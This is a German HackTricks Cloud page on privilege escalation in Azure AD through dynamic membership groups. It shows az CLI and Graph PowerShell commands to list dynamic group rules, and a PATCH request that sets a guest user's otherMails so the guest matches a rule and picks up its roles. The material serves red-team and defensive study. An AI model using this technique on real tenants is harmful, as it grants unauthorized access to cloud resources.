Az - Dynamic Groups Privesc
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Basic Information
Dynamische Gruppen sind Gruppen, die eine Menge von Regeln konfiguriert haben und alle Benutzer oder Geräte, die den Regeln entsprechen, werden der Gruppe hinzugefügt. Jedes Mal, wenn ein Benutzer- oder Geräte-Attribut geändert wird, werden die dynamischen Regeln neu überprüft. Und wenn eine neue Regel erstellt wird, werden alle Geräte und Benutzer überprüft.
Dynamische Gruppen können Azure RBAC roles assigned haben, aber es ist nicht möglich, AzureAD roles zu dynamischen Gruppen hinzuzufügen.
Diese Funktion erfordert eine Azure AD premium P1 license.
Privesc
Beachte, dass standardmäßig jeder Benutzer Gäste in Azure AD einladen kann. Wenn also eine dynamische Gruppen-Regel Berechtigungen für Benutzer basierend auf Attributen vergibt, die in einem neuen Gast gesetzt werden können, ist es möglich, einen Gast zu erstellen mit diesen Attributen und Privilegien zu eskalieren. Ein Gast kann außerdem sein eigenes Profil verwalten und diese Attribute ändern.
Gruppen abrufen, die dynamische Mitgliedschaft erlauben: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table
Dynamic Groups Enumeration
Regeln einer dynamischen Gruppe abrufen:
Mit Azure CLI:
az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table
Mit PowerShell und Microsoft Graph SDK:
Install-Module Microsoft.Graph -Scope CurrentUser -Force
Import-Module Microsoft.Graph
Connect-MgGraph -Scopes "Group.Read.All"
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property Id, DisplayName, GroupTypes
# Get the rules of a specific group
$g = Get-MgGroup -Filter "displayName eq '<GROUP NAME>'" `
-Property DisplayName, GroupTypes, MembershipRule, MembershipRuleProcessingState
$g | Select-Object DisplayName, GroupTypes, MembershipRule
# Get the rules of all dynamic groups
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property DisplayName, MembershipRule |
Select-Object DisplayName, MembershipRule
Beispiel
- Regelbeispiel:
(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest") - Regelbeschreibung: Jeder Gastbenutzer mit einer sekundären E-Mail, die die Zeichenfolge ‘security’ enthält, wird der Gruppe hinzugefügt
Für die E-Mail des Gastbenutzers, akzeptiere die Einladung und überprüfe die aktuellen Einstellungen dieses Benutzers in https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
Leider erlaubt die Seite nicht, die Attributwerte zu ändern, daher müssen wir die API verwenden:
# Login with the gust user
az login --allow-no-subscriptions
# Get user object ID
az ad signed-in-user show
# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"
Referenzen
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud

